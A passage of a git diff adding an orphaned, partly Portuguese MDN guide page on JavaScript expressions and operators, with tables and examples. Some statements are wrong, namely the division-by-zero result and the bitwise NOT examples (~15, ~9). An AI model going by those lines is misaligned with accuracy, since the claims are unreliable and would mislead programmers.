"en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pl": "pl/CSS/Na_pocz\u0105tek/Czym_jest_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }} diff --git a/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html b/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html new file mode 100644 index 0000000000..d0c815aac5 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html @@ -0,0 +1,832 @@ +--- +title: Expressoes e Operadores +slug: Web/JavaScript/Guia/Expressoes_e_Operadores +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div> +<p><span id="result_box" lang="pt"><span class="hps">Este capítulo descreve</span> <span class="hps">expressões e operadores JavaScript</span><span>, incluindo </span></span>atribuição<span id="result_box" lang="pt"><span>, comparação,</span> <span class="hps">aritmética,</span> <span class="hps">bit a bit</span><span>, lógico, string</span><span>, e</span> <span class="hps">operadores especiais.</span></span></p> + +<h2 id="Expressões">Expressões</h2> + +<p>Uma <em>expressão</em> é qualquer unidade de código válida que resolve um valor.</p> + +<p><span id="result_box" lang="pt"><span class="alt-edited hps">Conceitualmente</span><span>, há dois</span> <span class="hps">tipos de expressões</span><span>: aqueles</span> <span class="hps">que</span> <span class="hps">atribui um valor</span> <span class="hps">para</span> <span class="hps">uma variável, e</span> <span class="hps">aqueles</span> <span class="hps">que</span> <span class="hps">simplesmente tem</span> <span class="hps">um valor.</span> <span class="hps">Por exemplo,</span> <span class="hps">a expressão</span> <code><span class="hps">x = 7</span></code> <span class="hps">é uma expressão que</span> <span class="hps">atribui</span> a x <span class="hps">o valor </span><span class="hps">sete.</span> <span class="hps">Esta expressão</span> <span class="hps">avalia</span><span>-se</span> <span class="hps">a sete.</span> <span class="hps">Tais expressões</span> <span class="alt-edited hps">usam <em>operadores de atribuição</em></span><span>.</span> <span class="hps">Por outro lado</span><span>, a expressão de</span> <code><span class="hps">3 + 4</span></code> <span class="hps">simplesmente avalia</span> <span class="hps">a sete</span><span>; ele</span> <span class="hps">não realiza</span> <span class="hps">uma atribuição.</span> <span class="hps">Os</span> <span class="hps">operadores usados</span> <span class="hps">em tais expressões</span> <span class="hps">são referidos</span> <span class="hps">simplesmente como</span> <span class="hps"><em>operadores</em>.</span></span></p> + +<p><span class="short_text" id="result_box" lang="pt"><span class="hps">JavaScript</span> <span class="hps">tem os seguintes tipos</span> <span class="hps">de expressões:</span></span></p> + +<ul> + <li><span id="result_box" lang="pt"><span class="hps">Aritmética:</span> <span class="hps">resulta em um número</span><span>, por exemplo</span> <span class="hps">3,14159.</span></span> (Generally uses {{ web.link("#Arithmetic_operators", "arithmetic operators") }}.)</li> + <li><span id="result_box" lang="pt"><span class="hps">String:</span> <span class="hps">avalia</span> <span class="hps">em</span> <span class="hps">uma cadeia de caracteres</span><span>, por exemplo,</span> <span class="hps">"Fred</span><span>" ou</span> <span class="hps">"234"</span></span>. (Generally uses {{ web.link("#String_operators", "string operators") }}.)</li> + <li>Logical: resulta em verdadeira (true em inglês) ou falsa (false em inglês). (Often involves {{ web.link("#Logical_operators", "logical operators") }}.)</li> + <li>Object: resulta como um objeto. (See {{ web.link("#Special_operators", "special operators") }} for various ones that evaluate to objects.)</li> +</ul> + +<h2 id="Operadores">Operadores</h2> + +<p><span id="result_box" lang="pt"><span class="hps">JavaScript</span> <span class="hps">tem os seguintes tipos</span> <span class="hps">de operadores.</span> <span class="hps">Esta seção</span> <span class="hps">descreve os operadores</span> <span class="hps">e contém informações sobre</span> <span class="hps">a precedência do operador</span><span>.</span></span></p> + +<ul> + <li>{{ web.link("#Assignment_operators", "Assignment operators") }}</li> + <li>{{ web.link("#Comparison_operators", "Comparison operators") }}</li> + <li>{{ web.link("#Arithmetic_operators", "Arithmetic operators") }}</li> + <li>{{ web.link("#Bitwise_operators", "Bitwise operators") }}</li> + <li>{{ web.link("#Logical_operators", "Logical operators") }}</li> + <li>{{ web.link("#String_operators", "String operators") }}</li> + <li>{{ web.link("#Special_operators", "Special operators") }}</li> +</ul> + +<p>JavaScript has both <em>binary</em> and <em>unary</em> operators, and one special ternary operator, the conditional operator. A binary operator requires two operands, one before the operator and one after the operator:</p> + +<pre><em>operand1</em> <em>operator</em> <em>operand2</em> +</pre> + +<p>For example, <code>3+4</code> or <code>x*y</code>.</p> + +<p>A unary operator requires a single operand, either before or after the operator:</p> + +<pre><em>operator</em> <em>operand</em> +</pre> + +<p>or</p> + +<pre><em>operand</em> <em>operator</em> +</pre> + +<p>For example, <code>x++</code> or <code>++x</code>.</p> + +<h3 id="Assignment_operators">Assignment operators</h3> + +<p>An assignment operator assigns a value to its left operand based on the value of its right operand. The basic assignment operator is equal (=), which assigns the value of its right operand to its left operand. That is, x = y assigns the value of y to x.</p> + +<p>The other assignment operators are shorthand for standard operations, as shown in the following table.</p> + +<table class="standard-table"> + <caption>Table 3.1 Assignment operators</caption> + <thead> + <tr> + <th scope="col">Shorthand operator</th> + <th scope="col">Meaning</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>x += y</code></td> + <td><code>x = x + y</code></td> + </tr> + <tr> + <td><code>x -= y</code></td> + <td><code>x = x - y</code></td> + </tr> + <tr> + <td><code>x *= y</code></td> + <td><code>x = x * y</code></td> + </tr> + <tr> + <td><code>x /= y</code></td> + <td><code>x = x / y</code></td> + </tr> + <tr> + <td><code>x %= y</code></td> + <td><code>x = x % y</code></td> + </tr> + <tr> + <td><code>x <<= y</code></td> + <td><code>x = x << y</code></td> + </tr> + <tr> + <td><code>x >>= y</code></td> + <td><code>x = x >> y</code></td> + </tr> + <tr> + <td><code>x >>>= y</code></td> + <td><code>x = x >>> y</code></td> + </tr> + <tr> + <td><code>x &= y</code></td> + <td><code>x = x & y</code></td> + </tr> + <tr> + <td><code>x ^= y</code></td> + <td><code>x = x ^ y</code></td> + </tr> + <tr> + <td><code>x |= y</code></td> + <td><code>x = x | y</code></td> + </tr> + </tbody> +</table> + +<h3 id="Comparison_operators">Comparison operators</h3> + +<p><span class="comment">This seems to me kind of poorly explained, mostly the difference betwen "==" and "==="...</span> A comparison operator compares its operands and returns a logical value based on whether the comparison is true. The operands can be numerical, string, logical, or object values. Strings are compared based on standard lexicographical ordering, using Unicode values. In most cases, if the two operands are not of the same type, JavaScript attempts to convert the operands to an appropriate type for the comparison. (The sole exceptions to this rule are <code>===</code> and <code>!==</code>, which perform "strict" equality and inequality and which do not attempt to convert the operands to compatible types before checking equality.) This generally results in a numerical comparison being performed. The following table describes the comparison operators, assuming the following code:</p> + +<pre class="brush: js">var var1 = 3, var2 = 4; +</pre> + +<table class="standard-table"> + <caption>Table 3.2 Comparison operators</caption> + <thead> + <tr> + <th scope="col">Operator</th> + <th scope="col">Description</th> + <th scope="col">Examples returning true</th> + </tr> + </thead> + <tbody> + <tr> + <td>Equal (<code>==</code>)</td> + <td>Returns true if the operands are equal.</td> + <td><code>3 == var1</code> + <p><code>"3" == var1</code></p> + <code>3 == '3'</code></td> + </tr> + <tr> + <td>Not equal (<code>!=</code>)</td> + <td>Returns true if the operands are not equal.</td> + <td><code>var1 != 4<br> + var2 != "3"</code></td> + </tr> + <tr> + <td>Strict equal (<code>===</code>)</td> + <td>Returns true if the operands are equal and of the same type.</td> + <td><code>3 === var1</code></td> + </tr> + <tr> + <td>Strict not equal (<code>!==</code>)</td> + <td>Returns true if the operands are not equal and/or not of the same type.</td> + <td><code>var1 !== "3"<br> + 3 !== '3'</code></td> + </tr> + <tr> + <td>Greater than (<code>></code>)</td> + <td>Returns true if the left operand is greater than the right operand.</td> + <td><code>var2 > var1<br> + "12" > 2</code></td> + </tr> + <tr> + <td>Greater than or equal (<code>>=</code>)</td> + <td>Returns true if the left operand is greater than or equal to the right operand.</td> + <td><code>var2 >= var1<br> + var1 >= 3</code></td> + </tr> + <tr> + <td>Less than (<code><</code>)</td> + <td>Returns true if the left operand is less than the right operand.</td> + <td><code>var1 < var2<br> + "12" < "2"</code></td> + </tr> + <tr> + <td>Less than or equal (<code><=</code>)</td> + <td>Returns true if the left operand is less than or equal to the right operand.</td> + <td><code>var1 <= var2<br> + var2 <= 5</code></td> + </tr> + </tbody> +</table> + +<h3 id="Arithmetic_operators">Arithmetic operators</h3> + +<p>Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. The standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/). These operators work as they do in most other programming languages when used with floating point numbers (in particular, note that division by zero produces <a href="/en-US/docs/JavaScript/Reference/Global_Objects/NaN" title="en-US/docs/JavaScript/Reference/Global_Properties/NaN"><code>NaN</code></a>). For example:</p> + +<pre class="brush: js">console.log(1 / 2); /* prints 0.5 */ +console.log(1 / 2 == 1.0 / 2.0); /* also this is true */ +</pre> + +<p>In addition, JavaScript provides the arithmetic operators listed in the following table.</p> + +<table class="fullwidth-table"> + <caption>Table 3.3 Arithmetic operators</caption> + <thead> + <tr> + <th scope="col">Operator</th> + <th scope="col">Description</th> + <th scope="col">Example</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>%</code><br> + (Modulus)</td> + <td>Binary operator. Returns the integer remainder of dividing the two operands.</td> + <td>12 % 5 returns 2.</td> + </tr> + <tr> + <td><code>++</code><br> + (Increment)</td> + <td>Unary operator. Adds one to its operand. If used as a prefix operator (<code>++x</code>), returns the value of its operand after adding one; if used as a postfix operator (<code>x++</code>), returns the value of its operand before adding one.</td> + <td>If <code>x</code> is 3, then <code>++x</code> sets <code>x</code> to 4 and returns 4, whereas <code>x++</code> returns 3 and, only then, sets <code>x</code> to 4.</td> + </tr> + <tr> + <td><code>--</code><br> + (Decrement)</td> + <td>Unary operator. Subtracts one from its operand. The return value is analogous to that for the increment operator.</td> + <td>If <code>x</code> is 3, then <code>--x</code> sets <code>x</code> to 2 and returns 2, whereas <code>x--</code> returns 3 and, only then, sets <code>x</code> to 2.</td> + </tr> + <tr> + <td><code>-</code><br> + (Unary negation)</td> + <td>Unary operator. Returns the negation of its operand.</td> + <td>If <code>x</code> is 3, then <code>-x</code> returns -3.</td> + </tr> + </tbody> +</table> + +<h3 id="Bitwise_operators">Bitwise operators</h3> + +<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones), rather than as decimal, hexadecimal, or octal numbers. For example, the decimal number nine has a binary representation of 1001. Bitwise operators perform their operations on such binary representations, but they return standard JavaScript numerical values.</p> + +<p>The following table summarizes JavaScript's bitwise operators.</p> + +<table class="standard-table"> + <caption>Table 3.4 Bitwise operators</caption> + <thead> + <tr> + <th scope="col">Operator</th> + <th scope="col">Usage</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>Bitwise AND</td> + <td><code>a & b</code></td> + <td>Returns a one in each bit position for which the corresponding bits of both operands are ones.</td> + </tr> + <tr> + <td>Bitwise OR</td> + <td><code>a | b</code></td> + <td>Returns a one in each bit position for which the corresponding bits of either or both operands are ones.</td> + </tr> + <tr> + <td>Bitwise XOR</td> + <td><code>a ^ b</code></td> + <td>Returns a one in each bit position for which the corresponding bits of either but not both operands are ones.</td> + </tr> + <tr> + <td>Bitwise NOT</td> + <td><code>~ a</code></td> + <td>Inverts the bits of its operand.</td> + </tr> + <tr> + <td>Left shift</td> + <td><code>a << b</code></td> + <td>Shifts <code>a</code> in binary representation <code>b</code> bits to the left, shifting in zeros from the right.</td> + </tr> + <tr> + <td>Sign-propagating right shift</td> + <td><code>a >> b</code></td> + <td>Shifts <code>a</code> in binary representation <code>b</code> bits to the right, discarding bits shifted off.</td> + </tr> + <tr> + <td>Zero-fill right shift</td> + <td><code>a >>> b</code></td> + <td>Shifts <code>a</code> in binary representation <code>b</code> bits to the right, discarding bits shifted off, and shifting in zeros from the left.</td> + </tr> + </tbody> +</table> + +<h4 id="Bitwise_Logical_Operators" name="Bitwise_Logical_Operators">Bitwise logical operators</h4> + +<p>Conceptually, the bitwise logical operators work as follows:</p> + +<ul> + <li>The operands are converted to thirty-two-bit integers and expressed by a series of bits (zeros and ones).</li> + <li>Each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.</li> + <li>The operator is applied to each pair of bits, and the result is constructed bitwise.</li> +</ul> + +<p>For example, the binary representation of nine is 1001, and the binary representation of fifteen is 1111. So, when the bitwise operators are applied to these values, the results are as follows:</p> + +<table class="standard-table"> + <caption>Table 3.5 Bitwise operator examples</caption> + <thead> + <tr> + <th scope="col">Expression</th> + <th scope="col">Result</th> + <th scope="col">Binary Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>15 & 9</code></td> + <td><code>9</code></td> + <td><code>1111 & 1001 = 1001</code></td> + </tr> + <tr> + <td><code>15 | 9</code></td> + <td><code>15</code></td> + <td><code>1111 | 1001 = 1111</code></td> + </tr> + <tr> + <td><code>15 ^ 9</code></td> + <td><code>6</code></td> + <td><code>1111 ^ 1001 = 0110</code></td> + </tr> + <tr> + <td><code>~15</code></td> + <td><code>0</code></td> + <td><code>~1111 = 0000</code></td> + </tr> + <tr> + <td><code>~9</code></td> + <td><code>6</code></td> + <td><code>~1001 = 0110</code></td> + </tr> + </tbody> +</table> + +<p> </p> + +<h4 id="Bitwise_Shift_Operators" name="Bitwise_Shift_Operators">Bitwise shift operators</h4> + +<p>The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used.</p> + +<p>Shift operators convert their operands to thirty-two-bit integers and return a result of the same type as the left operand.</p> + +<p>The shift operators are listed in the following table.</p> + +<table class="fullwidth-table"> + <caption>Table 3.6 Bitwise shift operators</caption> + <thead> + <tr> + <th scope="col">Operator</th> + <th scope="col">Description</th> + <th scope="col">Example</th> + </tr> + </thead> + <tbody> + <tr> + <td><code><<</code><br> + (Left shift)</td> + <td>This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right.</td> + <td><code>9<<2</code> yields 36, because 1001 shifted 2 bits to the left becomes 100100, which is 36.</td> + </tr> + <tr> + <td><code>>></code><br> + (Sign-propagating right shift)</td> + <td>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left.</td> + <td><code>9>>2</code> yields 2, because 1001 shifted 2 bits to the right becomes 10, which is 2. Likewise, <code>-9>>2</code> yields -3, because the sign is preserved.</td> + </tr> + <tr> + <td><code>>>></code><br> + (Zero-fill right shift)</td> + <td>This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left.</td> + <td><code>19>>>2</code> yields 4, because 10011 shifted 2 bits to the right becomes 100, which is 4. For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result.</td> + </tr> + </tbody> +</table> + +<h3 id="Logical_operators">Logical operators</h3> + +<p>Logical operators are typically used with Boolean (logical) values; when they are, they return a Boolean value. However, the && and || operators actually return the value of one of the specified operands, so if these operators are used with non-Boolean values, they may return a non-Boolean value. The logical operators are described in the following table.</p> + +<table class="fullwidth-table"> + <caption>Table 3.6 Logical operators</caption> + <thead> + <tr> + <th scope="col">Operator</th> + <th scope="col">Usage</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>&&</code></td> + <td><code>expr1 && expr2</code></td> + <td>(Logical AND) Returns <code>expr1</code> if it can be converted to false; otherwise, returns <code>expr2</code>. Thus, when used with Boolean values, <code>&&</code> returns true if both operands are true; otherwise, returns false.</td> + </tr> + <tr> + <td><code>||</code></td> + <td><code>expr1 || expr2</code></td> + <td>(Logical OR) Returns <code>expr1</code> if it can be converted to true; otherwise, returns <code>expr2</code>. Thus, when used with Boolean values, <code>||</code> returns true if either operand is true; if both are false, returns false.</td> + </tr> + <tr> + <td><code>!</code></td> + <td><code>!expr</code></td> + <td>(Logical NOT) Returns false if its single operand can be converted to true; otherwise, returns true.</td> + </tr> + </tbody> +</table> + +<p>Examples of expressions that can be converted to false are those that evaluate to null, 0, the empty string (""), or undefined.</p> + +<p>The following code shows examples of the && (logical AND) operator.</p> + +<pre class="brush: js">var a1 = true && true; // t && t returns true +var a2 = true && false; // t && f returns false +var a3 = false && true; // f && t returns false +var a4 = false && (3 == 4); // f && f returns false +var a5 = "Cat" && "Dog"; // t && t returns Dog +var a6 = false && "Cat"; // f && t returns false +var a7 = "Cat" && false; // t && f returns false +</pre> + +<p>The following code shows examples of the || (logical OR) operator.</p> + +<pre class="brush: js">var o1 = true || true; // t || t returns true +var o2 = false || true; // f || t returns true +var o3 = true || false; // t || f returns true +var o4 = false || (3 == 4); // f || f returns false +var o5 = "Cat" || "Dog"; // t || t returns Cat +var o6 = false || "Cat"; // f || t returns Cat +var o7 = "Cat" || false; // t || f returns Cat +</pre> + +<p>The following code shows examples of the ! (logical NOT) operator.</p> + +<pre class="brush: js">var n1 = !true; // !t returns false +var n2 = !false; // !f returns true +var n3 = !"Cat"; // !t returns false +</pre> + +<h4 id="Short-Circuit_Evaluation" name="Short-Circuit_Evaluation">Short-circuit evaluation</h4> + +<p>As logical expressions are evaluated left to right, they are tested for possible "short-circuit" evaluation using the following rules:</p> + +<ul> + <li><code>false</code> && <em>anything</em> is short-circuit evaluated to false.</li> + <li><code>true</code> || <em>anything</em> is short-circuit evaluated to true.</li> +</ul> + +<p>The rules of logic guarantee that these evaluations are always correct. Note that the <em>anything</em> part of the above expressions is not evaluated, so any side effects of doing so do not take effect.</p> + +<h3 id="String_operators">String operators</h3> + +<p>In addition to the comparison operators, which can be used on string values, the concatenation operator (+) concatenates two string values together, returning another string that is the union of the two operand strings. For example, <code>"my " + "string"</code> returns the string <code>"my string"</code>.</p> + +<p>The shorthand assignment operator += can also be used to concatenate strings. For example, if the variable <code>mystring</code> has the value "alpha", then the expression <code>mystring += "bet"</code> evaluates to "alphabet" and assigns this value to <code>mystring</code>.</p> + +<h3 id="Special_operators">Special operators</h3> + +<p>JavaScript provides the following special operators:</p> + +<ul> + <li>{{ web.link("#Conditional_operator", "Conditional operator") }}</li> + <li>{{ web.link("#Comma_operator", "Comma operator") }}</li> + <li><code>{{ web.link("#delete", "delete") }}</code></li> + <li><code>{{ web.link("#in", "in") }}</code></li> + <li><code>{{ web.link("#instanceof", "instanceof") }}</code></li> + <li><code>{{ web.link("#new", "new") }}</code></li> + <li><code>{{ web.link("#this", "this") }}</code></li> + <li><code>{{ web.link("#typeof", "typeof") }}</code></li> + <li><code>{{ web.link("#void", "void") }}</code></li> +</ul> + +<h4 id="conditional_operator" name="conditional_operator">Conditional operator</h4> + +<p>The conditional operator is the only JavaScript operator that takes three operands. The operator can have one of two values based on a condition. The syntax is:</p> + +<pre><em>condition</em> ? <em>val1</em> : <em>val2</em> +</pre> + +<p>If <code>condition</code> is true, the operator has the value of <code>val1</code>. Otherwise it has the value of <code>val2</code>. You can use the conditional operator anywhere you would use a standard operator.</p> + +<p>For example,</p> + +<pre class="brush: js">var status = (age >= 18) ? "adult" : "minor"; +</pre> + +<p>This statement assigns the value "adult" to the variable <code>status</code> if <code>age</code> is eighteen or more. Otherwise, it assigns the value "minor" to <code>status</code>.</p> + +<h4 id="comma_operator" name="comma_operator">Comma operator</h4> + +<p>The comma operator (<code>,</code>) simply evaluates both of its operands and returns the value of the second operand. This operator is primarily used inside a <code>for</code> loop, to allow multiple variables to be updated each time through the loop.</p> + +<p>For example, if <code>a</code> is a 2-dimensional array with 10 elements on a side, the following code uses the comma operator to increment two variables at once. The code prints the values of the diagonal elements in the array:</p> + +<pre class="brush: js">for (var i = 0, j = 9; i <= 9; i++, j--) + document.writeln("a[" + i + "][" + j + "]= " + a[i][j]); +</pre> + +<h4 id="delete" name="delete"><code>delete</code></h4> + +<p>The <code>delete</code> operator deletes an object, an object's property, or an element at a specified index in an array. The syntax is:</p> + +<pre class="brush: js">delete objectName; +delete objectName.property; +delete objectName[index]; +delete property; // legal only within a with statement +</pre> + +<p>where <code>objectName</code> is the name of an object, <code>property</code> is an existing property, and <code>index</code> is an integer representing the location of an element in an array.</p> + +<p>The fourth form is legal only within a <code>with</code> statement, to delete a property from an object.</p> + +<p>You can use the <code>delete</code> operator to delete variables declared implicitly but not those declared with the <code>var</code> statement.</p> + +<p>If the <code>delete</code> operator succeeds, it sets the property or element to <code>undefined</code>. The <code>delete</code> operator returns true if the operation is possible; it returns false if the operation is not possible.</p> + +<pre class="brush: js">x = 42; +var y = 43; +myobj = new Number(); +myobj.h = 4; // create property h +delete x; // returns true (can delete if declared implicitly) +delete y; // returns false (cannot delete if declared with var) +delete Math.PI; // returns false (cannot delete predefined properties) +delete myobj.h; // returns true (can delete user-defined properties) +delete myobj; // returns true (can delete if declared implicitly) +</pre> + +<h5 id="Deleting_array_elements">Deleting array elements</h5> + +<p>When you delete an array element, the array length is not affected. For example, if you delete <code>a[3]</code>, <code>a[4]</code> is still <code>a[4]</code> and <code>a[3]</code> is undefined.</p> + +<p>When the <code>delete</code> operator removes an array element, that element is no longer in the array. In the following example, <code>trees[3]</code> is removed with <code>delete</code>. However, <code>trees[3]</code> is still addressable and returns <code>undefined</code>.</p> + +<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple"); +delete trees[3]; +if (3 in trees) { + // this does not get executed +} +</pre> + +<p>If you want an array element to exist but have an undefined value, use the <code>undefined</code> keyword instead of the <code>delete</code> operator. In the following example, <code>trees[3]</code> is assigned the value <code>undefined</code>, but the array element still exists:</p> + +<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple"); +trees[3] = undefined; +if (3 in trees) { + // this gets executed +} +</pre> + +<h4 id="in" name="in"><code>in</code></h4> + +<p>The <code>in</code> operator returns true if the specified property is in the specified object. The syntax is:</p> + +<pre class="brush: js">propNameOrNumber in objectName +</pre> + +<p>where <code>propNameOrNumber</code> is a string or numeric expression representing a property name or array index, and <code>objectName</code> is the name of an object.</p> + +<p>The following examples show some uses of the <code>in</code> operator.</p> + +<pre class="brush: js">// Arrays +var trees = new Array("redwood", "bay", "cedar", "oak", "maple"); +0 in trees; // returns true +3 in trees; // returns true +6 in trees; // returns false +"bay" in trees; // returns false (you must specify the index number, + // not the value at that index) +"length" in trees; // returns true (length is an Array property) + +// Predefined objects +"PI" in Math; // returns true +var myString = new String("coral"); +"length" in myString; // returns true + +// Custom objects +var mycar = {make: "Honda", model: "Accord", year: 1998}; +"make" in mycar; // returns true +"model" in mycar; // returns true +</pre> + +<h4 id="instanceof" name="instanceof"><code>instanceof</code></h4> + +<p>The <code>instanceof</code> operator returns true if the specified object is of the specified object type. The syntax is:</p> + +<pre class="brush: js">objectName instanceof objectType +</pre> + +<p>where <code>objectName</code> is the name of the object to compare to <code>objectType</code>, and <code>objectType</code> is an object type, such as <code>Date</code> or <code>Array</code>.</p> + +<p>Use <code>instanceof</code> when you need to confirm the type of an object at runtime. For example, when catching exceptions, you can branch to different exception-handling code depending on the type of exception thrown.</p> + +<p>For example, the following code uses <code>instanceof</code> to determine whether <code>theDay</code> is a <code>Date</code> object. Because <code>theDay</code> is a <code>Date</code> object, the statements in the <code>if</code> statement execute.</p> + +<pre class="brush: js">var theDay = new Date(1995, 12, 17); +if (theDay instanceof Date) { + // statements to execute +} +</pre> + +<h4 id="new" name="new"><code>new</code></h4> + +<p>You can use the <code>new</code> operator to create an instance of a user-defined object type or of one of the predefined object types <code>Array</code>, <code>Boolean</code>, <code>Date</code>, <code>Function</code>, <code>Image</code>, <code>Number</code>, <code>Object</code>, <code>Option</code>, <code>RegExp</code>, or <code>String</code>. On the server, you can also use it with <code>DbPool</code>, <code>Lock</code>, <code>File</code>, or <code>SendMail</code>. Use <code>new</code> as follows:</p> + +<pre class="brush: js">var objectName = new objectType([param1, param2, ..., paramN]); +</pre> + +<p>You can also create objects using object initializers, as described in {{ web.link("Working_with_objects#Using_object_initializers", "using object initializers") }}.</p> + +<p>See the <a href="/en-US/docs/JavaScript/Reference/Operators/new" title="en-US/docs/JavaScript/Reference/Operators/Special_Operators/new_Operator"><code>new</code> operator</a> page in the Core JavaScript Reference for more information.</p> + +<h4 id="this" name="this"><code>this</code></h4> + +<p>Use the <code>this</code> keyword to refer to the current object. In general, <code>this</code> refers to the calling object in a method. Use <code>this</code> as follows:</p> + +<pre class="brush: js">this["propertyName"] +</pre> + +<pre class="brush: js">this.propertyName +</pre> + +<p><strong>Example 1.</strong><br> + Suppose a function called <code>validate</code> validates an object's <code>value</code> property, given the object and the high and low values:</p> + +<pre class="brush: js">function validate(obj, lowval, hival){ + if ((obj.value < lowval) || (obj.value > hival)) + alert("Invalid Value!"); +} +</pre> + +<p>You could call <code>validate</code> in each form element's <code>onChange</code> event handler, using <code>this</code> to pass it the form element, as in the following example:</p> + +<pre class="brush: html"><B>Enter a number between 18 and 99:</B> +<INPUT TYPE="text" NAME="age" SIZE=3 + onChange="validate(this, 18, 99);"> +</pre> + +<p><strong>Example 2.</strong><br> + When combined with the <code>form</code> property, <code>this</code> can refer to the current object's parent form. In the following example, the form <code>myForm</code> contains a <code>Text</code> object and a button. When the user clicks the button, the value of the <code>Text</code> object is set to the form's name. The button's <code>onClick</code> event handler uses <code>this.form</code> to refer to the parent form, <code>myForm</code>.</p> + +<pre class="brush: html"><FORM NAME="myForm"> +Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> +<P> +<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" + onClick="this.form.text1.value = this.form.name;"> +</FORM> +</pre> + +<h4 id="typeof" name="typeof"><code>typeof</code></h4> + +<p>The <code>typeof</code> operator is used in either of the following ways:</p> + +<ol> + <li> + <pre class="brush: js">typeof operand +</pre> + </li> + <li> + <pre class="brush: js">typeof (operand) +</pre> + </li> +</ol> + +<p>The <code>typeof</code> operator returns a string indicating the type of the unevaluated operand. <code>operand</code> is the string, variable, keyword, or object for which the type is to be returned. The parentheses are optional.</p> + +<p>Suppose you define the following variables:</p> + +<pre class="brush: js">var myFun = new Function("5 + 2"); +var shape = "round"; +var size = 1; +var today = new Date(); +</pre> + +<p>The <code>typeof</code> operator returns the following results for these variables:</p> + +<pre class="brush: js">typeof myFun; // returns "function" +typeof shape; // returns "string" +typeof size; // returns "number" +typeof today; // returns "object" +typeof dontExist; // returns "undefined" +</pre> + +<p>For the keywords <code>true</code> and <code>null</code>, the <code>typeof</code> operator returns the following results:</p> + +<pre class="brush: js">typeof true; // returns "boolean" +typeof null; // returns "object" +</pre> + +<p>For a number or string, the <code>typeof</code> operator returns the following results:</p> + +<pre class="brush: js">typeof 62; // returns "number" +typeof 'Hello world'; // returns "string" +</pre> + +<p>For property values, the <code>typeof</code> operator returns the type of value the property contains:</p> + +<pre class="brush: js">typeof document.lastModified; // returns "string" +typeof window.length; // returns "number" +typeof Math.LN2; // returns "number" +</pre> + +<p>For methods and functions, the <code>typeof</code> operator returns results as follows:</p> + +<pre class="brush: js">typeof blur; // returns "function" +typeof eval; // returns "function" +typeof parseInt; // returns "function" +typeof shape.split; // returns "function" +</pre> + +<p>For predefined objects, the <code>typeof</code> operator returns results as follows:</p> + +<pre class="brush: js">typeof Date; // returns "function" +typeof Function; // returns "function" +typeof Math; // returns "object" +typeof Option; // returns "function" +typeof String; // returns "function" +</pre> + +<h4 id="void" name="void"><code>void</code></h4> + +<p>The <code>void</code> operator is used in either of the following ways:</p> + +<ol> + <li> + <pre class="brush: js">void (expression) +</pre> + </li> + <li> + <pre class="brush: js">void expression +</pre> + </li> +</ol> + +<p>The <code>void</code> operator specifies an expression to be evaluated without returning a value. <code>expression</code> is a JavaScript expression to evaluate. The parentheses surrounding the expression are optional, but it is good style to use them.</p> + +<p>You can use the <code>void</code> operator to specify an expression as a hypertext link. The expression is evaluated but is not loaded in place of the current document.</p> + +<p>The following code creates a hypertext link that does nothing when the user clicks it. When the user clicks the link, <code>void(0)</code> evaluates to undefined, which has no effect in JavaScript.</p> + +<pre class="brush: html"><A HREF="javascript:void(0)">Click here to do nothing</A> +</pre> + +<p>The following code creates a hypertext link that submits a form when the user clicks it.</p> + +<pre class="brush: html"><A HREF="javascript:void(document.form.submit())"> +Click here to submit</A></pre> + +<h3 id="Operator_precedence">Operator precedence</h3> + +<p>The <em>precedence</em> of operators determines the order they are applied when evaluating an expression. You can override operator precedence by using parentheses.</p> + +<p>The following table describes the precedence of operators, from highest to lowest.</p> + +<p><small><em>In accordance with <a href="/en-US/docs/Talk:JavaScript/Guide/Obsolete_Pages/Operators#Precedence_Tablerators#Precedence_Table" title="Talk:JavaScript/Guide/Obsolete_Pages/Operators#Precedence_Table">relevant discussion</a>, this table was reversed to list operators in <strong>decreasing</strong> order of priority.</em></small></p> + +<table class="standard-table"> + <caption>Table 3.7 Operator precedence</caption> + <thead> + <tr> + <th scope="col">Operator type</th> + <th scope="col">Individual operators</th> + </tr> + </thead> + <tbody> + <tr> + <td>member</td> + <td><code>. []</code></td> + </tr> + <tr> + <td>call / create instance</td> + <td><code>() new</code></td> + </tr> + <tr> + <td>negation/increment</td> + <td><code>! ~ - + ++ -- typeof void delete</code></td> + </tr> + <tr> + <td>multiply/divide</td> + <td><code>* / %</code></td> + </tr> + <tr> + <td>addition/subtraction</td> + <td><code>+ -</code></td> + </tr> + <tr> + <td>bitwise shift</td> + <td><code><< >> >>></code></td> + </tr> + <tr> + <td>relational</td> + <td><code>< <= > >= in instanceof</code></td> + </tr> + <tr> + <td>equality</td> + <td><code>== != === !==</code></td> + </tr> + <tr> + 